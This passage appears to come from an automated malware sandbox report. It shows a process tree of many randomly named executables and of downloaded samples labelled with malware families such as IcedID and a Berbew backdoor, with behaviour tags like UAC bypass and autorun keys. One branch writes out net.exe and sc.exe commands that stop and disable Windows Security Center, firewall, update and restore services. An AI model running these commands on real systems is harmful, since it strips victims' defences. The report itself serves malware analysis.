-
C:\Windows\System\DsHBKsG.exeC:\Windows\System\DsHBKsG.exe5⤵
-
-
C:\Windows\System\RHDaZtm.exeC:\Windows\System\RHDaZtm.exe5⤵
-
-
C:\Windows\System\VceYClr.exeC:\Windows\System\VceYClr.exe5⤵
-
-
C:\Windows\System\rHGubBG.exeC:\Windows\System\rHGubBG.exe5⤵
-
-
C:\Windows\System\aQFxvYt.exeC:\Windows\System\aQFxvYt.exe5⤵
-
-
C:\Windows\System\oCldngv.exeC:\Windows\System\oCldngv.exe5⤵
-
-
C:\Windows\System\ZWfQycq.exeC:\Windows\System\ZWfQycq.exe5⤵
-
-
C:\Windows\System\VynPWMG.exeC:\Windows\System\VynPWMG.exe5⤵
-
-
C:\Windows\System\yalYUBt.exeC:\Windows\System\yalYUBt.exe5⤵
-
-
C:\Windows\System\yMkzRrS.exeC:\Windows\System\yMkzRrS.exe5⤵
-
-
C:\Windows\System\kjuCkpO.exeC:\Windows\System\kjuCkpO.exe5⤵
-
-
C:\Windows\System\fwqotJN.exeC:\Windows\System\fwqotJN.exe5⤵
-
-
C:\Windows\System\jIIuOUa.exeC:\Windows\System\jIIuOUa.exe5⤵
-
-
C:\Windows\System\KoyFGwS.exeC:\Windows\System\KoyFGwS.exe5⤵
-
-
C:\Windows\System\XrzoDIs.exeC:\Windows\System\XrzoDIs.exe5⤵
-
-
C:\Windows\System\UIMsPdn.exeC:\Windows\System\UIMsPdn.exe5⤵
-
-
C:\Windows\System\zJjlhud.exeC:\Windows\System\zJjlhud.exe5⤵
-
-
C:\Windows\System\aGXKuqQ.exeC:\Windows\System\aGXKuqQ.exe5⤵
-
-
C:\Windows\System\lrKQvnY.exeC:\Windows\System\lrKQvnY.exe5⤵
-
-
C:\Windows\System\XndHJxD.exeC:\Windows\System\XndHJxD.exe5⤵
-
-
C:\Windows\System\TgrvAFh.exeC:\Windows\System\TgrvAFh.exe5⤵
-
-
C:\Windows\System\AaHDRgn.exeC:\Windows\System\AaHDRgn.exe5⤵
-
-
C:\Windows\System\fbQRByI.exeC:\Windows\System\fbQRByI.exe5⤵
-
-
C:\Windows\System\RzSJnMV.exeC:\Windows\System\RzSJnMV.exe5⤵
-
-
C:\Windows\System\oorcMHq.exeC:\Windows\System\oorcMHq.exe5⤵
-
-
C:\Windows\System\xPaNITt.exeC:\Windows\System\xPaNITt.exe5⤵
-
-
C:\Windows\System\kHvhUuu.exeC:\Windows\System\kHvhUuu.exe5⤵
-
-
C:\Windows\System\hnvsfnP.exeC:\Windows\System\hnvsfnP.exe5⤵
-
-
C:\Windows\System\MkhEiqa.exeC:\Windows\System\MkhEiqa.exe5⤵
-
-
C:\Windows\System\jsLOVdP.exeC:\Windows\System\jsLOVdP.exe5⤵
-
-
C:\Windows\System\OtVvJlg.exeC:\Windows\System\OtVvJlg.exe5⤵
-
-
C:\Windows\System\PkYFqEP.exeC:\Windows\System\PkYFqEP.exe5⤵
-
-
C:\Windows\System\Yapydnm.exeC:\Windows\System\Yapydnm.exe5⤵
-
-
C:\Windows\System\BsxBbCP.exeC:\Windows\System\BsxBbCP.exe5⤵
-
-
C:\Windows\System\FtrAWoW.exeC:\Windows\System\FtrAWoW.exe5⤵
-
-
C:\Windows\System\myjKjEI.exeC:\Windows\System\myjKjEI.exe5⤵
-
-
C:\Windows\System\hzBFViR.exeC:\Windows\System\hzBFViR.exe5⤵
-
-
C:\Windows\System\tfCblLj.exeC:\Windows\System\tfCblLj.exe5⤵
-
-
C:\Windows\System\cDbqXZE.exeC:\Windows\System\cDbqXZE.exe5⤵
-
-
C:\Windows\System\oGCJeQw.exeC:\Windows\System\oGCJeQw.exe5⤵
-
-
C:\Windows\System\rCfEhTg.exeC:\Windows\System\rCfEhTg.exe5⤵
-
-
C:\Windows\System\ckdWWFI.exeC:\Windows\System\ckdWWFI.exe5⤵
-
-
C:\Windows\System\DzyGVKP.exeC:\Windows\System\DzyGVKP.exe5⤵
-
-
C:\Windows\System\SPZOBdr.exeC:\Windows\System\SPZOBdr.exe5⤵
-
-
C:\Windows\System\CTYGNLd.exeC:\Windows\System\CTYGNLd.exe5⤵
-
-
C:\Windows\System\WzbJWQq.exeC:\Windows\System\WzbJWQq.exe5⤵
-
-
C:\Windows\System\QDeigwk.exeC:\Windows\System\QDeigwk.exe5⤵
-
-
C:\Windows\System\hSuXfqY.exeC:\Windows\System\hSuXfqY.exe5⤵
-
-
C:\Windows\System\frYispj.exeC:\Windows\System\frYispj.exe5⤵
-
-
C:\Windows\System\ewCDGDF.exeC:\Windows\System\ewCDGDF.exe5⤵
-
-
C:\Windows\System\gMEewOY.exeC:\Windows\System\gMEewOY.exe5⤵
-
-
C:\Windows\System\sDBDsZy.exeC:\Windows\System\sDBDsZy.exe5⤵
-
-
C:\Windows\System\zXyphTU.exeC:\Windows\System\zXyphTU.exe5⤵
-
-
C:\Windows\System\tisPliL.exeC:\Windows\System\tisPliL.exe5⤵
-
-
C:\Windows\System\bokbrvs.exeC:\Windows\System\bokbrvs.exe5⤵
-
-
C:\Windows\System\tRJCyCN.exeC:\Windows\System\tRJCyCN.exe5⤵
-
-
C:\Windows\System\OaWIsiK.exeC:\Windows\System\OaWIsiK.exe5⤵
-
-
C:\Windows\System\UVcvsyz.exeC:\Windows\System\UVcvsyz.exe5⤵
-
-
C:\Windows\System\NIPGHvV.exeC:\Windows\System\NIPGHvV.exe5⤵
-
-
C:\Windows\System\NumhYbc.exeC:\Windows\System\NumhYbc.exe5⤵
-
-
C:\Windows\System\ZpkwEMY.exeC:\Windows\System\ZpkwEMY.exe5⤵
-
-
C:\Windows\System\WHfmNuD.exeC:\Windows\System\WHfmNuD.exe5⤵
-
-
C:\Windows\System\lyfBaql.exeC:\Windows\System\lyfBaql.exe5⤵
-
-
C:\Windows\System\zdvXdsN.exeC:\Windows\System\zdvXdsN.exe5⤵
-
-
C:\Windows\System\mxZDsLX.exeC:\Windows\System\mxZDsLX.exe5⤵
-
-
C:\Windows\System\jqDvYPi.exeC:\Windows\System\jqDvYPi.exe5⤵
-
-
C:\Windows\System\RzBXeKL.exeC:\Windows\System\RzBXeKL.exe5⤵
-
-
C:\Windows\System\JzOMJVY.exeC:\Windows\System\JzOMJVY.exe5⤵
-
-
C:\Windows\System\OzbasOB.exeC:\Windows\System\OzbasOB.exe5⤵
-
-
C:\Windows\System\EIxTwSa.exeC:\Windows\System\EIxTwSa.exe5⤵
-
-
C:\Windows\System\OwAjnon.exeC:\Windows\System\OwAjnon.exe5⤵
-
-
C:\Windows\System\PgFThpj.exeC:\Windows\System\PgFThpj.exe5⤵
-
-
C:\Windows\System\SVqeADK.exeC:\Windows\System\SVqeADK.exe5⤵
-
-
C:\Windows\System\XSPBZAq.exeC:\Windows\System\XSPBZAq.exe5⤵
-
-
C:\Windows\System\agvRVcF.exeC:\Windows\System\agvRVcF.exe5⤵
-
-
C:\Windows\System\UnCOgrV.exeC:\Windows\System\UnCOgrV.exe5⤵
-
-
C:\Windows\System\qBrCXQN.exeC:\Windows\System\qBrCXQN.exe5⤵
-
-
C:\Windows\System\mDOYMmY.exeC:\Windows\System\mDOYMmY.exe5⤵
-
-
C:\Windows\System\WzRpcvm.exeC:\Windows\System\WzRpcvm.exe5⤵
-
-
C:\Windows\System\SsgXFED.exeC:\Windows\System\SsgXFED.exe5⤵
-
-
C:\Windows\System\KiOWMfo.exeC:\Windows\System\KiOWMfo.exe5⤵
-
-
C:\Windows\System\dhaGFAu.exeC:\Windows\System\dhaGFAu.exe5⤵
-
-
C:\Windows\System\xsZQbYo.exeC:\Windows\System\xsZQbYo.exe5⤵
-
-
C:\Windows\System\HHCvdZB.exeC:\Windows\System\HHCvdZB.exe5⤵
-
-
C:\Windows\System\TuRHNLL.exeC:\Windows\System\TuRHNLL.exe5⤵
-
-
C:\Windows\System\pSKoCpv.exeC:\Windows\System\pSKoCpv.exe5⤵
-
-
C:\Windows\System\iyIXqLB.exeC:\Windows\System\iyIXqLB.exe5⤵
-
-
C:\Windows\System\JjMgYSm.exeC:\Windows\System\JjMgYSm.exe5⤵
-
-
C:\Windows\System\LiBZHVJ.exeC:\Windows\System\LiBZHVJ.exe5⤵
-
-
C:\Windows\System\mRahgxd.exeC:\Windows\System\mRahgxd.exe5⤵
-
-
C:\Windows\System\szzQYxo.exeC:\Windows\System\szzQYxo.exe5⤵
-
-
C:\Windows\System\xpqDWcB.exeC:\Windows\System\xpqDWcB.exe5⤵
-
-
C:\Windows\System\eVzJwjx.exeC:\Windows\System\eVzJwjx.exe5⤵
-
-
C:\Windows\System\DbQlGig.exeC:\Windows\System\DbQlGig.exe5⤵
-
-
C:\Windows\System\LOhnEHW.exeC:\Windows\System\LOhnEHW.exe5⤵
-
-
C:\Windows\System\NQrvWFX.exeC:\Windows\System\NQrvWFX.exe5⤵
-
-
C:\Windows\System\oemSqbo.exeC:\Windows\System\oemSqbo.exe5⤵
-
-
C:\Windows\System\rCOLzpw.exeC:\Windows\System\rCOLzpw.exe5⤵
-
-
C:\Windows\System\TOHzQMC.exeC:\Windows\System\TOHzQMC.exe5⤵
-
-
C:\Windows\System\ZnwsCsY.exeC:\Windows\System\ZnwsCsY.exe5⤵
-
-
C:\Windows\System\nWSuQrO.exeC:\Windows\System\nWSuQrO.exe5⤵
-
-
C:\Windows\System\oVKFZZH.exeC:\Windows\System\oVKFZZH.exe5⤵
-
-
C:\Windows\System\YLGKXjU.exeC:\Windows\System\YLGKXjU.exe5⤵
-
-
C:\Windows\System\mfhrurE.exeC:\Windows\System\mfhrurE.exe5⤵
-
-
C:\Windows\System\QGYBzdY.exeC:\Windows\System\QGYBzdY.exe5⤵
-
-
C:\Windows\System\VuJbede.exeC:\Windows\System\VuJbede.exe5⤵
-
-
C:\Windows\System\KUjUuTz.exeC:\Windows\System\KUjUuTz.exe5⤵
-
-
C:\Windows\System\UakrrGW.exeC:\Windows\System\UakrrGW.exe5⤵
-
-
C:\Windows\System\VRmXbjt.exeC:\Windows\System\VRmXbjt.exe5⤵
-
-
C:\Windows\System\MltbIme.exeC:\Windows\System\MltbIme.exe5⤵
-
-
C:\Windows\System\qjrUCzF.exeC:\Windows\System\qjrUCzF.exe5⤵
-
-
C:\Windows\System\BFAhnuc.exeC:\Windows\System\BFAhnuc.exe5⤵
-
-
C:\Windows\System\mVeCCjI.exeC:\Windows\System\mVeCCjI.exe5⤵
-
-
C:\Windows\System\CIakiVr.exeC:\Windows\System\CIakiVr.exe5⤵
-
-
C:\Windows\System\aMvXngJ.exeC:\Windows\System\aMvXngJ.exe5⤵
-
-
C:\Windows\System\dmxqZgT.exeC:\Windows\System\dmxqZgT.exe5⤵
-
-
C:\Windows\System\HdxCaGF.exeC:\Windows\System\HdxCaGF.exe5⤵
-
-
C:\Windows\System\skrcBMX.exeC:\Windows\System\skrcBMX.exe5⤵
-
-
C:\Windows\System\HfQoUIi.exeC:\Windows\System\HfQoUIi.exe5⤵
-
-
C:\Windows\System\hUdOACm.exeC:\Windows\System\hUdOACm.exe5⤵
-
-
C:\Windows\System\EbGrVAO.exeC:\Windows\System\EbGrVAO.exe5⤵
-
-
C:\Windows\System\DrztyWv.exeC:\Windows\System\DrztyWv.exe5⤵
-
-
C:\Windows\System\yQcAGve.exeC:\Windows\System\yQcAGve.exe5⤵
-
-
C:\Windows\System\aoQcvvb.exeC:\Windows\System\aoQcvvb.exe5⤵
-
-
C:\Windows\System\HKjVPfl.exeC:\Windows\System\HKjVPfl.exe5⤵
-
-
C:\Windows\System\foZUxaM.exeC:\Windows\System\foZUxaM.exe5⤵
-
-
C:\Windows\System\iZmhzab.exeC:\Windows\System\iZmhzab.exe5⤵
-
-
C:\Windows\System\EDEQJot.exeC:\Windows\System\EDEQJot.exe5⤵
-
-
C:\Windows\System\hXcIfBF.exeC:\Windows\System\hXcIfBF.exe5⤵
-
-
C:\Windows\System\vQfZNHu.exeC:\Windows\System\vQfZNHu.exe5⤵
-
-
C:\Windows\System\gJMHxAx.exeC:\Windows\System\gJMHxAx.exe5⤵
-
-
C:\Windows\System\fJeuizc.exeC:\Windows\System\fJeuizc.exe5⤵
-
-
C:\Windows\System\lRLzhio.exeC:\Windows\System\lRLzhio.exe5⤵
-
-
C:\Windows\System\dgpnITA.exeC:\Windows\System\dgpnITA.exe5⤵
-
-
C:\Windows\System\PAArRtX.exeC:\Windows\System\PAArRtX.exe5⤵
-
-
C:\Windows\System\SKDFepF.exeC:\Windows\System\SKDFepF.exe5⤵
-
-
C:\Windows\System\qydZPSd.exeC:\Windows\System\qydZPSd.exe5⤵
-
-
C:\Windows\System\EWVLQlw.exeC:\Windows\System\EWVLQlw.exe5⤵
-
-
C:\Windows\System\KnFGTUs.exeC:\Windows\System\KnFGTUs.exe5⤵
-
-
C:\Windows\System\OEbWNVP.exeC:\Windows\System\OEbWNVP.exe5⤵
-
-
C:\Windows\System\udQbuBR.exeC:\Windows\System\udQbuBR.exe5⤵
-
-
C:\Windows\System\HiRGTWw.exeC:\Windows\System\HiRGTWw.exe5⤵
-
-
C:\Windows\System\qkXUwIk.exeC:\Windows\System\qkXUwIk.exe5⤵
-
-
C:\Windows\System\aPWUdOe.exeC:\Windows\System\aPWUdOe.exe5⤵
-
-
C:\Windows\System\yAXHHsQ.exeC:\Windows\System\yAXHHsQ.exe5⤵
-
-
C:\Windows\System\ugyOiry.exeC:\Windows\System\ugyOiry.exe5⤵
-
-
C:\Windows\System\PxFusLs.exeC:\Windows\System\PxFusLs.exe5⤵
-
-
C:\Windows\System\VSKGZpR.exeC:\Windows\System\VSKGZpR.exe5⤵
-
-
C:\Windows\System\Jkopvro.exeC:\Windows\System\Jkopvro.exe5⤵
-
-
C:\Windows\System\zndxolS.exeC:\Windows\System\zndxolS.exe5⤵
-
-
C:\Windows\System\cHxsZdh.exeC:\Windows\System\cHxsZdh.exe5⤵
-
-
C:\Windows\System\jAQDUlv.exeC:\Windows\System\jAQDUlv.exe5⤵
-
-
C:\Windows\System\LDkdUNA.exeC:\Windows\System\LDkdUNA.exe5⤵
-
-
C:\Windows\System\lHUrMyl.exeC:\Windows\System\lHUrMyl.exe5⤵
-
-
C:\Windows\System\HEpRxHN.exeC:\Windows\System\HEpRxHN.exe5⤵
-
-
C:\Windows\System\bnUjePj.exeC:\Windows\System\bnUjePj.exe5⤵
-
-
C:\Windows\System\AVPtIVW.exeC:\Windows\System\AVPtIVW.exe5⤵
-
-
C:\Windows\System\tkcQZcY.exeC:\Windows\System\tkcQZcY.exe5⤵
-
-
C:\Windows\System\szjJvAG.exeC:\Windows\System\szjJvAG.exe5⤵
-
-
C:\Windows\System\zvajyqG.exeC:\Windows\System\zvajyqG.exe5⤵
-
-
C:\Windows\System\qbpgyvF.exeC:\Windows\System\qbpgyvF.exe5⤵
-
-
C:\Windows\System\IdfOPOf.exeC:\Windows\System\IdfOPOf.exe5⤵
-
-
C:\Windows\System\zPqlHnY.exeC:\Windows\System\zPqlHnY.exe5⤵
-
-
C:\Windows\System\XCUyMki.exeC:\Windows\System\XCUyMki.exe5⤵
-
-
C:\Windows\System\wpBVQtx.exeC:\Windows\System\wpBVQtx.exe5⤵
-
-
C:\Windows\System\oDjPsQr.exeC:\Windows\System\oDjPsQr.exe5⤵
-
-
C:\Windows\System\xbOVTgC.exeC:\Windows\System\xbOVTgC.exe5⤵
-
-
C:\Windows\System\yylMpaQ.exeC:\Windows\System\yylMpaQ.exe5⤵
-
-
C:\Windows\System\QtPDJbY.exeC:\Windows\System\QtPDJbY.exe5⤵
-
-
C:\Windows\System\tDVAuuX.exeC:\Windows\System\tDVAuuX.exe5⤵
-
-
C:\Windows\System\GVfAShF.exeC:\Windows\System\GVfAShF.exe5⤵
-
-
C:\Windows\System\SblFVZF.exeC:\Windows\System\SblFVZF.exe5⤵
-
-
C:\Windows\System\YIvZiUh.exeC:\Windows\System\YIvZiUh.exe5⤵
-
-
C:\Windows\System\XaAvGXM.exeC:\Windows\System\XaAvGXM.exe5⤵
-
-
C:\Windows\System\TDoiEKd.exeC:\Windows\System\TDoiEKd.exe5⤵
-
-
C:\Windows\System\ENtcABm.exeC:\Windows\System\ENtcABm.exe5⤵
-
-
C:\Windows\System\MYFabny.exeC:\Windows\System\MYFabny.exe5⤵
-
-
C:\Windows\System\WzcXwQC.exeC:\Windows\System\WzcXwQC.exe5⤵
-
-
C:\Windows\System\SINhoAV.exeC:\Windows\System\SINhoAV.exe5⤵
-
-
C:\Windows\System\VTZhMoL.exeC:\Windows\System\VTZhMoL.exe5⤵
-
-
C:\Windows\System\dtAgDMQ.exeC:\Windows\System\dtAgDMQ.exe5⤵
-
-
C:\Windows\System\pfiukfD.exeC:\Windows\System\pfiukfD.exe5⤵
-
-
C:\Windows\System\iGxfyeH.exeC:\Windows\System\iGxfyeH.exe5⤵
-
-
C:\Windows\System\TlXgqvI.exeC:\Windows\System\TlXgqvI.exe5⤵
-
-
C:\Windows\System\xhBCQlK.exeC:\Windows\System\xhBCQlK.exe5⤵
-
-
C:\Windows\System\Mxpimvl.exeC:\Windows\System\Mxpimvl.exe5⤵
-
-
C:\Windows\System\WNHzGWS.exeC:\Windows\System\WNHzGWS.exe5⤵
-
-
C:\Windows\System\ZMPNGoW.exeC:\Windows\System\ZMPNGoW.exe5⤵
-
-
C:\Windows\System\rLLlqHP.exeC:\Windows\System\rLLlqHP.exe5⤵
-
-
C:\Windows\System\XZsMNFo.exeC:\Windows\System\XZsMNFo.exe5⤵
-
-
C:\Windows\System\qsHySdu.exeC:\Windows\System\qsHySdu.exe5⤵
-
-
C:\Windows\System\ndjfQql.exeC:\Windows\System\ndjfQql.exe5⤵
-
-
C:\Windows\System\HvmEBaI.exeC:\Windows\System\HvmEBaI.exe5⤵
-
-
C:\Windows\System\PMQZDck.exeC:\Windows\System\PMQZDck.exe5⤵
-
-
C:\Windows\System\NyeTnpd.exeC:\Windows\System\NyeTnpd.exe5⤵
-
-
C:\Windows\System\QzMrZpc.exeC:\Windows\System\QzMrZpc.exe5⤵
-
-
C:\Windows\System\kFqRCMo.exeC:\Windows\System\kFqRCMo.exe5⤵
-
-
C:\Windows\System\QMEdmQb.exeC:\Windows\System\QMEdmQb.exe5⤵
-
-
C:\Windows\System\CENklWq.exeC:\Windows\System\CENklWq.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hfmfsstbma20240919d483b374943b16f2fadbcd53a3e552ebhacktoolsicedid.exeC:\Users\Admin\Downloads\240920-hfmfsstbma20240919d483b374943b16f2fadbcd53a3e552ebhacktoolsicedid.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-hgqjvateqrBackdoor.Win32.Berbew.pz-fdda9cf473139f0a7482f54a4e6991a1e1d2cd87bdc39517e07b78a1eabbb782NC:\Users\Admin\Downloads\240920-hgqjvateqrBackdoor.Win32.Berbew.pz-fdda9cf473139f0a7482f54a4e6991a1e1d2cd87bdc39517e07b78a1eabbb782N4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
C:\Users\Admin\Downloads\240920-hjcqrstclgd6f13afaea2391203291d258b57301ac0beb325468e72e6e71f3500efaaa6b63N.exeC:\Users\Admin\Downloads\240920-hjcqrstclgd6f13afaea2391203291d258b57301ac0beb325468e72e6e71f3500efaaa6b63N.exe4⤵
-
C:\Windows\SysWOW64\Bdickcpo.exeC:\Windows\system32\Bdickcpo.exe5⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Lopmii32.exeC:\Windows\system32\Lopmii32.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-htazxstfrded10f88d23d25dfb1f07291dc222dff5_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-htazxstfrded10f88d23d25dfb1f07291dc222dff5_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10692 -s 4965⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-g73fnatblpe9efe7f9ae2e5705cfdcd6b1e0bcd4b15496125dd775feec8ded588d13677942N.exeC:\Users\Admin\Downloads\240920-g73fnatblpe9efe7f9ae2e5705cfdcd6b1e0bcd4b15496125dd775feec8ded588d13677942N.exe4⤵
- Modifies visibility of file extensions in Explorer
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-hpw2lathmqe37541918ae753fbc94a9258aafbfc39f578d6b70ac7adc071cc1a5aa5a3c671N.exeC:\Users\Admin\Downloads\240920-hpw2lathmqe37541918ae753fbc94a9258aafbfc39f578d6b70ac7adc071cc1a5aa5a3c671N.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-ha6x9atcnjbb327726432c814723645e32acdfc9d115468e1960dad0cc3c8899ca1abd7e92N.exeC:\Users\Admin\Downloads\240920-ha6x9atcnjbb327726432c814723645e32acdfc9d115468e1960dad0cc3c8899ca1abd7e92N.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-g4btjashqled0133ad9f3b391808812eba802cbfda_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g4btjashqled0133ad9f3b391808812eba802cbfda_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files\Common Files\Microsoft Shared\MSINFO\NetSys.exe"C:\Program Files\Common Files\Microsoft Shared\MSINFO\NetSys.exe"5⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\program files\internet explorer\IEXPLORE.EXE"C:\program files\internet explorer\IEXPLORE.EXE"6⤵
- Modifies Internet Explorer settings
-
-
-
-
C:\Users\Admin\Downloads\240920-g5n59atamp113915cdd257cdf611053c1d08f8b20f216a83b212dd1dc610efc2dc724c701f.exeC:\Users\Admin\Downloads\240920-g5n59atamp113915cdd257cdf611053c1d08f8b20f216a83b212dd1dc610efc2dc724c701f.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-hsnjmatfnfed108df0177012345638ecad62af3dc3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hsnjmatfnfed108df0177012345638ecad62af3dc3_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9276 -s 2645⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-gwtpdasfmjd2aa6223364324e69784314ba7d961faf2018cdda11e385f0481933b3d59ec18N.exeC:\Users\Admin\Downloads\240920-gwtpdasfmjd2aa6223364324e69784314ba7d961faf2018cdda11e385f0481933b3d59ec18N.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hkbvvstcpd20240920379c6620c2da6427bb769a7b3c298066poetratsnatch.exeC:\Users\Admin\Downloads\240920-hkbvvstcpd20240920379c6620c2da6427bb769a7b3c298066poetratsnatch.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-g5b6pasfjff378b21d115a503af5d49bc157ad868638d0a917a6945b5d72800e898a92d5a7N.exeC:\Users\Admin\Downloads\240920-g5b6pasfjff378b21d115a503af5d49bc157ad868638d0a917a6945b5d72800e898a92d5a7N.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-g8paestbnq5f0a0c07fd204b084fc1b60d8e6b06b8de182d9c6e7b44e40f4ea761f2eef522N.exeC:\Users\Admin\Downloads\240920-g8paestbnq5f0a0c07fd204b084fc1b60d8e6b06b8de182d9c6e7b44e40f4ea761f2eef522N.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-gzthsasglrecff0c0394fb941a2a45c12f8408a3cf_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-gzthsasglrecff0c0394fb941a2a45c12f8408a3cf_JaffaCakes118.exe4⤵
-
C:\Users\Admin\Downloads\240920-gzthsasglrecff0c0394fb941a2a45c12f8408a3cf_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-gzthsasglrecff0c0394fb941a2a45c12f8408a3cf_JaffaCakes118.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g8kbgasgmff5bb736e45b278f22bbb639bf1441f6dab2baf99405a9a92e56d64d6d2fa92feN.exeC:\Users\Admin\Downloads\240920-g8kbgasgmff5bb736e45b278f22bbb639bf1441f6dab2baf99405a9a92e56d64d6d2fa92feN.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe start schedule /y5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 7:06:28 AM C:\Windows\Sysinf.bat5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 7:09:28 AM C:\Windows\Sysinf.bat5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop srservice /y5⤵
-
-
C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y5⤵
- System Time Discovery
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled5⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\Downloads\240920-hmfltstdnged0d4a125a184d3a4bf9fa77a1644d58_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hmfltstdnged0d4a125a184d3a4bf9fa77a1644d58_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hdmnsatapeed075145d24542093e165c7c0cf1448d_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hdmnsatapeed075145d24542093e165c7c0cf1448d_JaffaCakes118.exe4⤵
- UAC bypass
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-hmepjatdne20240920516a83fa025f654529593f57cf3a2934magniberrhadamanthysskypams.exeC:\Users\Admin\Downloads\240920-hmepjatdne20240920516a83fa025f654529593f57cf3a2934magniberrhadamanthysskypams.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-hemeeatdrr20240919663b4d18a1a214e680ede2556e627582floxificedid.exeC:\Users\Admin\Downloads\240920-hemeeatdrr20240919663b4d18a1a214e680ede2556e627582floxificedid.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-gzcj9sscqbf7e1bec667838256a141d859f12a30ad1db9ece1db0aafdaef84aae68b2f0e33N.exeC:\Users\Admin\Downloads\240920-gzcj9sscqbf7e1bec667838256a141d859f12a30ad1db9ece1db0aafdaef84aae68b2f0e33N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Oloahhki.exeC:\Windows\system32\Oloahhki.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-he714stbkdf225de137b411fbfbfee4ada67f3bdfcc9d2d8b07c366debcb390e4a881484d7N.exeC:\Users\Admin\Downloads\240920-he714stbkdf225de137b411fbfbfee4ada67f3bdfcc9d2d8b07c366debcb390e4a881484d7N.exe4⤵
-
C:\Windows\SysWOW64\Chnbbqpn.exeC:\Windows\system32\Chnbbqpn.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hlmzhstdkged0cfb14edb4a8160b769b6602be1276_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hlmzhstdkged0cfb14edb4a8160b769b6602be1276_JaffaCakes118.exe4⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\server.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\server.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hrcezatfkd20240920aaa74715d5f3f0b8745b66f8b2ed1ef3mafia.exeC:\Users\Admin\Downloads\240920-hrcezatfkd20240920aaa74715d5f3f0b8745b66f8b2ed1ef3mafia.exe4⤵
-
C:\Users\Admin\Downloads\240920-hrcezatfkd20240920aaa74715d5f3f0b8745b66f8b2ed1ef3mafia.exeC:\Users\Admin\Downloads\240920-hrcezatfkd20240920aaa74715d5f3f0b8745b66f8b2ed1ef3mafia.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g53cwatapled02cc7e53e17595d90ba68c40d3e7b3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g53cwatapled02cc7e53e17595d90ba68c40d3e7b3_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-g9g8hashjga277f0b3be586aca5429c4e6fbaa56f6c20f4d8c9400262cd11dbefa0762a49bN.exeC:\Users\Admin\Downloads\240920-g9g8hashjga277f0b3be586aca5429c4e6fbaa56f6c20f4d8c9400262cd11dbefa0762a49bN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
- Modifies registry class
-
-
